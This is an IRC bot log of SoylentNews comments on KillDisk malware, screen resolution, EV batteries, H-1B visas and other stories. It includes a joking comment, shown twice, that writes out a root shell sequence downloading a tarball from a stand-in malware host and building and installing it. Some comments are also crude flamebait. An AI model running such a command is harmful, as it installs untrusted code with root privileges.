[14:09:57] <exec> 08*** score 5 comment: 03FatPhil [863] 02Now called killdiskd - 06KillDisk Malware Now Targets Linux - 98 chars - 04 http://soylentnews.org
[14:09:57] <exec> 08└─I believe Lennart has already merged the pull request incorporating it into systemd - upgrade now!
[14:09:58] <exec> *** new comment: 03KiloByte [375] (Score:4, Funny) 02Re:Now called killdiskd - 06KillDisk Malware Now Targets Linux - 159 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:09:59] <exec> 08└─Nope, his functionality is similar but unrelated: with the malware from TFA recovery is "possible, albeit difficult." With Lennart's malware, there is no hope.
[14:10:03] <exec> *** new comment: 03Thexalon [636] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 249 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:10:03] <exec> 08└─Like this, of course: root@victim# wget ht tp://malware.are.us root@victim# tar -xf killdisk-0.45.23.tar.xz root@victim# cd killdisk root@victim# ./configure --prefix=/usr root@victim# make root@victim# make install
[14:10:05] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Misleading Headline as Usual - 06KillDisk Malware Now Targets Linux - 198 chars -04 http://soylentnews.org
[14:10:06] <exec> 08└─The KillDisk malware targeted the Windows machines but paved the way for access to the Linux systems using ordinary attacks like guessing credentials. No malware targeted the Linux system directly!
[14:10:07] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Bargain - 06KillDisk Malware Now Targets Linux - 183 chars -04 http://soylentnews.org
[14:10:08] <exec> 08└─Eset says its researchers have found a weakness in the encryption method that makes decryption "possible, albeit difficult." Exactly how decryption can be performed was not disclosed.
[14:10:18] <exec> *** new comment: 03VLM [445] (Score:2) 02Unlimited is streaming - 06T-Mobile and Verizon Mobile Plans Change; Probably Not Better for Consumers - 378 chars -04 http://soylentnews.org
[14:10:18] <exec> 08└─A few weeks ago I finally found a way to move the needle on my data plan, which was to stream audio during my commute because I was temporarily caught up on podcasts and audiobooks. I'm impressed at whoever streamed 500 gigs of ... something. I thought burning half a gig a week on music was excessiv...
[14:10:36] <exec> *** new comment: 03meustrus [4961] (Score:2) 02Re:96 DPI - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 822 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:10:36] <exec> 08└─DPI issues have more to do with third-party software than anything else. On standardized environments like Windows and OS X, whether the software can scale well depends on the quality of the tools used to build the interfaces. Windows tools have long made it difficult to do anything correctly withou...
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[14:10:38] <exec> 08└─I donno about all this scaling business. My .emacs.d/init.el has (set-frame-font "Terminus-24") .Xdefaults has something like URxvt.font:xft:Terminus:size=24 and like 20 years ago I have foggy memories of using like monospace-12 or something. For a long time I've used fonts to get a hundred-somethin...
[14:10:40] <exec> *** new comment: 03acid andy [1683] (Score:2) 02Re:Or... - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 104 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:10:41] <exec> 08└─If you really want a 110 degree viewing experience, you're using the wrong equipment in the first place.
[14:10:42] <exec> *** new comment: 03VLM [445] (Score:2) 02Re:Or... - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 740 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:10:43] <exec> 08└─Both at work and home I have three monitors in a semicircle ish shape on my desk. The combined res in X is better and in Y is worse, but its OK. At home each monitor has a separate machine because they have separate jobs to do and frankly it works better and faster and in freebsd using a NFS home di...
[14:10:58] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:PPI is a far better measurement - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 401 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:10:58] <exec> 08└─For a TV, total resolution makes sense because your viewing distance will typically be proportional to the diagonal (you're sitting much closer to a small screen than to a big screen). Note that what ultimately matters is the angular resolution, which is proportional to PPI/viewing distance, and thu...
[14:11:01] <exec> *** new comment: 03Anonymous Coward (Score:-1, Flamebait) 02Captain Subtext decodes screen discussion - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 151 chars -04 http://soylentnews.org
[14:11:01] <exec> 08└─"I have an enormous penis." "Actually, I've got a bigger penis by far." "Sorry, but my penis is staggeringly vast." "Look, I'm massively well-endowed!"
[14:11:03] <exec> *** new comment: 03acid andy [1683] (Score:2) 02Difference between monitor and TV now - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 77 chars -04 http://soylentnews.org
[14:11:04] <exec> 08└─I recently bought a 40" 4k tv which I use as a monitor (2' viewing distance).
[14:11:05] <exec> *** new comment: 03VLM [445] (Score:2) 02Re:Difference between monitor and TV now - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 775 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:11:06] <exec> 08└─My MiL found it impossible to buy a TV that wasn't "smart" so it takes like 30 seconds to boot up or switch inputs or do much of anything. Smart TV UIs always suck. Thankfully it doesn't nag her about her lack of internet access. I would imagine there are interesting differences in standards for stu...
[14:12:02] <exec> *** new comment: 03Kromagv0 [1825] (Score:2) 02Before there was another - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 157 chars -04 http://soylentnews.org
[14:12:03] <exec> 08└─Long before this there was the Visual 6502 [visual6502.org] that would let you do the same thing but would also show you what was happening in the processor.
[14:13:06] <exec> *** new comment: 03meustrus [4961] (Score:2) 02Political Compromise - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 193 chars -04 http://soylentnews.org
[14:13:07] <exec> 08└─If they were smart they'd change the program to maximize brain-drain from other countries by making H-1B a fast-track to citizenship instead of the 6+ year wait for a green-card that it now is.
[14:14:09] <exec> *** new comment: 03meustrus [4961] (Score:2) 02Re:Still can use "cash" - 06Oakland May Become Rare American City With Strict Rules for Spy Gear Use - 110 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:14:09] <exec> 08└─And ship your purchases to somebody else's house, hoping you can "steal" their package before anybody notices?
[14:15:17] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Killing gently - 06German Green Party MP Considers Subsidized Sex for the Disabled - 169 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[14:15:17] <exec> 08└─No it can't because the risk was specifically for men; for women in that age, it was a net positive instead. I don't think old women are generally more fit than old men.
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[15:09:28] <exec> *** new comment: 03VLM [445] (Score:2) 02cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 1072 chars -04 http://soylentnews.org
[15:09:28] <exec> 08└─Its going to be interesting watching range anxiety smash into cheapness and performance. I'd be pretty happy with 40 miles range for 10% of the cost, since most of the money in EVs is in the battery, I'll LOL all the way to the bank with my 40 mile EV and $90K in the bank. $90K in the bank means whe...
[15:09:29] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 1012 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:09:30] <exec> 08└─As usual, there is something wrong with your numbers, at least as it currently plays out in the market. The current short range EVs like the Leaf don't have nearly the acceleration capability of the long range Tesla models. Partly it's because the Teslas have bigger motors (which cost $$$) and I thi...
[15:09:31] <exec> *** new comment: 03q.kontinuum [532] (Score:2) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 121 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:09:32] <exec> 08└─Americans are also legendarily cheap, and will buy absolute shit as long as its 5% cheaper at walmart or the stealership,
[15:09:33] <exec> *** new comment: 03FatPhil [863] (Score:3, Funny) 02I notice they say "vehicle", not "car" - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 93 chars -04 http://soylentnews.org
[15:09:34] <exec> 08└─The vehicle in question is a rocket, and this is simply a bunch of Note 7s strapped together.
[15:09:43] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:spacing - 06Earth and the Moon as Seen From Mars - 187 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:09:44] <exec> 08└─It would be nice if they made one with the "dark" side of the moon as well. Being lazy, I have no links. Does anybody have an image like that of the other side of the moon lit by the sun?
[15:09:52] <exec> 08*** score 5 comment: 03KiloByte [375] 02Re:Now called killdiskd - 06KillDisk Malware Now Targets Linux - 159 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[15:09:53] <exec> 08└─Nope, his functionality is similar but unrelated: with the malware from TFA recovery is "possible, albeit difficult." With Lennart's malware, there is no hope.
[15:10:09] <exec> *** new comment: 03Anonymous Coward (Score:0) 02From my cold dead hands - 06T-Mobile and Verizon Mobile Plans Change; Probably Not Better for Consumers - 343 chars -04 http://soylentnews.org
[15:10:09] <exec> 08└─You can pry my $30/mo prepaid plan from my cold dead hands. $30/mo for 5GB LTE, Unlimited text. 100min (not even used with VOIP), unrestricted video with option to use binge-on if I want, and tethering. I haven't found anything else even close to tempting me to move to something else. Google Fi come...
[15:10:53] <exec> *** new comment: 03VLM [445] (Score:2) 02work - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 66 chars -04 http://soylentnews.org
[15:10:53] <exec> 08└─What is your dream setup if technology and price weren't an issue?
[15:10:54] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:work - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 343 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:10:55] <exec> 08└─1366x768 is woefully inadequate for business use unless you enjoy using several virtual desktops, chunky pixelated fonts (ok, it gives the IDE a retro look), and keeping your windows near-maximized at all times so you can see an appreciable amount of what's in them. Then again the habit of virtual d...
[15:11:15] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Marissa Mayer is still hot - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 204 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:11:16] <exec> 08└─Some of us, in addition to learning a few computer languages, like to learn a few human languages too. I don't have anything to add as to whether this person can program her way out of a paper bag or not.
[15:11:20] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Resigned? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 72 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:11:20] <exec> 08└─I’m pretty sure that Verizon is not going to allow yahoo.com to lapse.
[15:11:37] <exec> *** new comment: 03shrewdsheep [5215] (Score:1) 02Write first, debug later - 06Graph Isomorphism Strikes Back - 604 chars -04 http://soylentnews.org
[15:11:37] <exec> 08└─Reminds me somewhat of the proof of Fermat's theorem. A big proof was submitted comprising several 100 pages. The verification started, a hole was found, took years to repair. To my knowledge, even now, only few people have looked at larger chunks of the proof. Now and then, brilliant people seem to...
[15:12:30] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 941 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:12:31] <exec> 08└─For a H1B, it appears Congress managed to craft a dumb immigration policy. "My understanding is that in India, the role of the H1B program is that it's becoming a rite of passage for many young Indian men: They work their butt off in their early 20's ...and then return ... and be comfortably middle-...
[15:12:56] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 121 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:12:56] <exec> 08└─If you haven't been to Detroit or Chicago, please shut up. I've seen people literally shit in the street in those cities.
[15:12:57] <exec> *** new comment: 03Runaway1956 [2926] (Score:2) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 162 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[15:12:58] <exec> 08└─Haven't been to India - I think I said that already. But, I've been to Djibouti, Djibouti. You'll have to go pretty far to impress me with "unimaginable poverty".
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[16:09:30] <exec> *** new comment: 03meustrus [4961] (Score:2) 02Private-Public Partnership - 06Controversial Nuclear Power Plant Near New York to Close - 282 chars -04 http://soylentnews.org
[16:09:30] <exec> 08└─Lower energy prices cited by the article have not been reflected in customer electricity bills. Indian Point supplies 30% of New York's power, so if the post-Indian point power supply drops by the same amount the high prices New Yorkers currently pay per kwh will climb even higher.
[16:09:31] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 761 chars -04 http://soylentnews.org
[16:09:31] <exec> 08└─Any environmentalist who doesn't pursue evidence-based environmental policy(like... say... being broadly anti-nuclear) is sabotaging real progress for a healthy environment for the sake of their own feelings. I would describe myself as a fairly rabid environmentalist on the basis that there's a lot...
[16:09:41] <exec> *** new comment: 03Whoever [4524] (Score:2) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 120 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:09:42] <exec> 08└─Now, for a calculation I'd like to see: What sort of power source is required for a 310 mile quick charge in 20 minutes.
[16:09:43] <exec> *** new comment: 03Whoever [4524] (Score:2) 02Re:cheapness vs range anxiety - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 41 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:09:44] <exec> 08└─Whoops: that should be 3-4 miles per kWh.
[16:09:47] <exec> *** new comment: 03Anonymous Coward (Score:1, Informative) 02Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 1398 chars -04 http://soylentnews.org
[16:09:48] <exec> 08└─Consider that a car/truck needs between 0.1 and 1 kWh per mile. (That's, for example, 8 to 80 hp at 60 mph; obviously it's not linear with speed, but that range covers a wide variety of vehicles at a variety of speeds.) So a fast charge that gives you 310 mile range is 31 to 310 kWh capacity. Chargi...
[16:09:49] <exec> *** new comment: 03DannyB [5839] (Score:2) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 133 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:09:50] <exec> 08└─If the amount of copper is as much as you say, this would make the cables at every charging station an attractive target for thieves.
[16:09:52] <exec> *** new comment: 03Phoenix666 [552] (Score:2) 02Lovely - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 420 chars -04 http://soylentnews.org
[16:09:52] <exec> 08└─The transition to EVs is so welcome. Engine noise, both inside a car, and the aggregate from traffic on the outside, is such a stressor. Being able to speed along in silence is sublime. Also, dependence upon fossil fuels for transportation and work of any kind is a jail most people don't even know t...
[16:09:54] <exec> *** new comment: 03FatPhil [863] (Score:2) 02Re:Lovely - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 405 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:09:55] <exec> 08└─As someone who used to get a bus from the town centre bus-station to a business park every day, all I can say is that my nose and my lungs are happier than my ears. Fortunately, the town started using LPG busses, and started excluding cars from more and more of town, but in a highly built up old tow...
[16:09:56] <exec> *** new comment: 03Thexalon [636] (Score:3, Funny) 02Concerns about the manufacturer - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 141 chars -04 http://soylentnews.org
[16:09:57] <exec> 08└─I could see this kind of thing, coming from such a highly respected company as Samsung, having a potential to really explode onto the market!
[16:09:58] <exec> *** new comment: 03Anonymous Coward (Score:2, Funny) 02Re:Concerns about the manufacturer - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 186 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:09:59] <exec> 08└─Well to be fair, I don't think we can give them all the credit. It's quite a booming industry after all. Everywhere you look there's technology that's just a blast coming onto the scene.
[16:10:10] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:spacing - 06Earth and the Moon as Seen From Mars - 115 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:10:10] <exec> 08└─No no thankyou commenter, most informative. Talk about fake news, i feel so dirty forvhaving looked at the picture.
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[16:10:13] <exec> 08└─uhm... so what's the problem? are you saying we shouldn't look at Saturn's rings from Earth, because it looks like part of them is actually ON Saturn? or maybe we should never take pictures of Jupiter's moons when they are almost eclipsed by it. They specifically said that the position, size and ori...
[16:10:14] <exec> *** new comment: 03FatPhil [863] (Score:2) 02Composite image?! - 06Earth and the Moon as Seen From Mars - 1750 chars -04 http://soylentnews.org
[16:10:15] <exec> 08└─Yeah, I kinda have a bee in my bonnet about such things, perhaps more than most. I don't think NASA should be lying even if it's pretty. One thing I remember from the NASA museum (DC?) (yes, I have been to the US once, and no, I won't make that mistake again), apart from the "Family of the Sun" list...
[16:10:26] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:err... - 06KillDisk Malware Now Targets Linux - 433 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:10:27] <exec> 08└─Haha, very funny. (Really, no sarcasm tag here.) Seriously, though, how does one get infected by this? Linux's security model is more robust than Windows, with few autoruns and what have you. So how would somebody be affected by this? I'm sure if they ran a binary at the command line it would work,...
[16:10:39] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Unlimited is streaming - 06T-Mobile and Verizon Mobile Plans Change; Probably Not Better for Consumers - 1616 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:10:39] <exec> 08└─all that to unicast something to you as a stream, too. i personally have had no problem keeping a small mp3 player with a memory card I've upgraded over the years... and hooking it into the car audio system in some way, which has changed over the years as well. my car at the moment has a USB connect...
[16:10:41] <exec> *** new comment: 03Jtmach [1481] (Score:1) 02Re:From my cold dead hands - 06T-Mobile and Verizon Mobile Plans Change; Probably Not Better for Consumers - 327 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:10:41] <exec> 08└─I've been on this plan for a couple years now too. It really is about the best that can be found, if you don't make calls very often. It seems like the cell service providers are going to be the next version of cable providers. They'll just keep ramming more expensive plans down peoples throats unti...
[16:10:58] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:96 DPI - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 87 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:10:59] <exec> 08└─40" 4k screen is basically four 20" 1080p monitors stacked in a square without a bezel.
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[16:11:06] <exec> 08└─OP here, sorry I don't have an account. 40" 4k is basically four 20" 1080p, stacked in a square, without a bezel. Like I in the submission, so much room for activities. 2' viewing distance is just standard for monitors. I really prefer turning my head to having to scroll / switch windows. Neck strai...
[16:11:20] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:yes good enough - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 151 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:11:21] <exec> 08└─Using the edge of my glasses to compare between corrected and uncorrected, I can tell you the image in my glasses is somewhat smaller than uncorrected.
[16:11:29] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Difference between monitor and TV now - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 603 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:11:29] <exec> 08└─OP here, sorry I don't have an account. The TV I bought is "smart". But is has a gaming mode which is what I use. I do have a 20" 1080p monitor on the side (for when I'm using full screen applications) that has my shortcuts and task bar, and I don't use often but is convenient to always have uncover...
[16:11:32] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:work - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 324 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:11:33] <exec> 08└─OP here, sorry I don't have an account. They spent $160 on this monitor, and got it new for me. I bought 1080p monitors for $100 each back in '13. My dual screen in the laptop on the docking port. Sure it works. Not as convenient with the large spreadsheets I work on (engineer), but I didn't really...
[16:11:34] <exec> *** new comment: 03Taibhsear [1464] (Score:2) 02Might be worth it on large screens - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 622 chars -04 http://soylentnews.org
[16:11:35] <exec> 08└─On my 3200x1800 15" laptop (actual viewing screen size is about 2-3 inches less) I couldn't really tell the difference between a video in 1080p vs 4k resolution. Granted the screen isn't quite full 4k. Whereas the difference between standard def and 720p or 1080p was much more noticeable. I imagine...
[16:12:56] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:So conflicted right now .... - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 151 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:12:56] <exec> 08└─As intended, or as used? I can see the benefit of the former, but the system is so heavily gamed I'm not sure any amount of enforcement can fix it now.
[16:13:35] <exec> *** new comment: 03Taibhsear [1464] (Score:2) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 319 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:13:35] <exec> 08└─Lived in Chicago my whole life. Only seen someone shit in public twice. Both times they were mentally impaired homeless people. I have friends that worked in India. From the stories they tell me there is really no comparison to the level of filth we respectively deal with (except perhaps in the gove...
[16:17:21] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:Monopoly? - 06"Finder for Airpods" Not Allowed in Apple's Walled Garden - 313 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[16:17:21] <exec> 08└─I would also like add that Apple has been extremely generous here, by allowing you to buy single replacement AirPods for only $69 each, instead of having to buy a full set (plus base) for $159. So anyone who loses one should be very happy to spend $69 on a replacement instead of using some app to tr...
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[17:09:30] <exec> *** new comment: 03Burz [6156] (Score:1) 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 401 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:09:30] <exec> 08└─Always blame environmentalists for decisions based on economics (there was no politics involved in the decision). Its helps obscure the real source of failure. Note how angrily the Forbes piece (we should know better than to use Forbes for an objective viewpoint) blusters about windmills and environ...
[17:09:31] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 386 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:09:32] <exec> 08└─That's a fair point, of course. The actual basis of the decision had little-to-nothing to do with the people protesting that it be shut down. However: there were still actual people protesting for it to be shut down, and the replacement is going to be fucking coal or gas. I can't help but feel more...
[17:09:33] <exec> *** new comment: 03Anonymous Coward (Score:0) 021,000 workers? - 06Controversial Nuclear Power Plant Near New York to Close - 528 chars -04 http://soylentnews.org
[17:09:34] <exec> 08└─OK, can anyone fill in the details? How does it take 1000 workers to run Indian Point 1 & 2? I get that it's a 3-shift operation, so what is the breakdown -- 100 in management (keeping normal business hours) and 300 on each shift? What the hell do they all do? Are there tug-o-war crews pulling dampi...
[17:09:49] <exec> *** new comment: 03Anonymous Coward (Score:1, Insightful) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 1185 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:09:49] <exec> 08└─I can do about 18 km /l with a 1.5 l honda ICE and no battery. the tank holds about 40 liters. the range (highway + no red light + pee-pee stop) is thus 720 km. 40 l (91 octane) is about 40 x 34.8 MJ = 1'392 MJ = 1'392'000 kJ = 1'392'000'000 J 1 joule is 0.000278 watt-hours, thus 1'392'000'000 J is...
[17:10:04] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:spacing - 06Earth and the Moon as Seen From Mars - 546 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:10:04] <exec> 08└─Wait ~2 weeks and the Moon will be between Earth and Mars -- a photo taken then should do some of what you want. You've got 2 weeks to lobby the powers-that-be at JPL...! If you really want the full "back side of the Moon", fully lit by Sol, then it seems like there are two choices? An image from an...
[17:10:09] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Composite image?! - 06Earth and the Moon as Seen From Mars - 761 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:10:09] <exec> 08└─So tell me Fatphil, how do you react when you see the results of modal analysis, represented as operating deflection shapes? For example (first page I found) http://www.svibs.com [svibs.com] Page down, the vertical column is shown grossly...
[17:10:20] <exec> 08*** score 5 comment: 03Thexalon [636] 02Re:err... - 06KillDisk Malware Now Targets Linux - 249 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[17:10:20] <exec> 08└─Like this, of course: root@victim# wget ht tp://malware.are.us root@victim# tar -xf killdisk-0.45.23.tar.xz root@victim# cd killdisk root@victim# ./configure --prefix=/usr root@victim# make root@victim# make install
[17:10:48] <exec> *** new comment: 03AthanasiusKircher [5291] (Score:2) 02Re:I asked my optometrist about this - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 301 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:10:48] <exec> 08└─No, the OP didn't say any of that. Can't you follow? There was a 3rd person in the room who actually did the test, i.e., "just" said it, not the OP. I can only assume his name was actually Justin or something, but those cool kids these days, with their nicknames and refusal to use capital letters......
[17:10:50] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:luddite here - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 1212 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:10:50] <exec> 08└─I've never owned a 1920x1080 monitor and am not sure of the limit you speak of. I went from 640x480 to 800x600 to 1024x760 to 1280x1024 to 1920x1200 and then regressed to to 1680x1050, then to 2560x1440 and finally to whatever 4k is that isn't really 4k. Only the cool kids I thought were using TVs f...
[17:11:27] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Difference between monitor and TV now - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 160 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:11:27] <exec> 08└─when did hdmi connectors on PCs become normal? I had to struggle to find something to connect a raspberry pi i bought tom because I dont have any hdmi anything.
[17:11:31] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:work - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 127 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:11:31] <exec> 08└─1366x768 is not only inadequate, but with the new skype for office, you lose 50% more screen real estate because cloud tablets!
[17:11:34] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Us blindo's don't give a rat's eye - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 263 chars -04 http://soylentnews.org
[17:11:34] <exec> 08└─I got crappy eyesight, and the optometrists keep under-correcting my eyeglasses using every excuse they can find (they have years of experience on that) so that I have to keep coming back to their shop. I'm not going to pay extra for resolution my eyes can't use.
[17:12:06] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Marissa Mayer To Resign IF.... - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 1166 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:12:06] <exec> 08└─no-- they are not buying yahoo to yahoo with it. This is where most people are getting it wrong. They are buying yahoo to complete behavior profile creation and advertisement portfolio enhancement. Verizon didn't by AOL to send out diskettes. Don't mistake their intent for Yahoo to mail out a differ...
[17:12:27] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:objdump -d - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 617 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:12:27] <exec> 08└─i have, because I got sick of their shit tracking me. they were reading more about me and required stuff to set tracking cookies before I even agreed to a eula. or when their privacy policies say 'we do not honor do not track' stuff because its too hard, and yet have 30 different javascripts running...
[17:13:13] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 1144 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:13:13] <exec> 08└─but i never believed in that lie the problem is that i never have found a republican I could vote for that didn't perpetuate the lie. And I never found a democrat to vote for that spoke the truth about h1bs that had a chance of gaining office. Everyone on the ballot was about making outsourcing even...
[17:13:34] <exec> *** new comment: 03Anonymous Coward (Score:0) 023-eyed children [Re:Let's Go All In] - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 327 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:13:34] <exec> 08└─Then people from polluted deregulated countries would come to temporarily work in the high-wage "modernized" countries, taking jobs away from those who don't want to live in polluted deregulated countries. Some people will put up with 3-eyed children to have the latest toys, and that's who you would...
[17:13:47] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 381 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:13:47] <exec> 08└─The same reason they move here for a few years under the H1b program -- to make enough money to return home and inure them to the things you wrote of. Some can go back and live as, one had told me, a maharaja, or at least with a servant or two and no arguments when convincing a pretty girl's parents...
[17:14:53] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Still can use "cash" - 06Oakland May Become Rare American City With Strict Rules for Spy Gear Use - 162 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[17:14:53] <exec> 08└─There have long been available ways to arrange deliveries to an address not formally associated with yourself. Use your imagination, or the yellow pages at least.
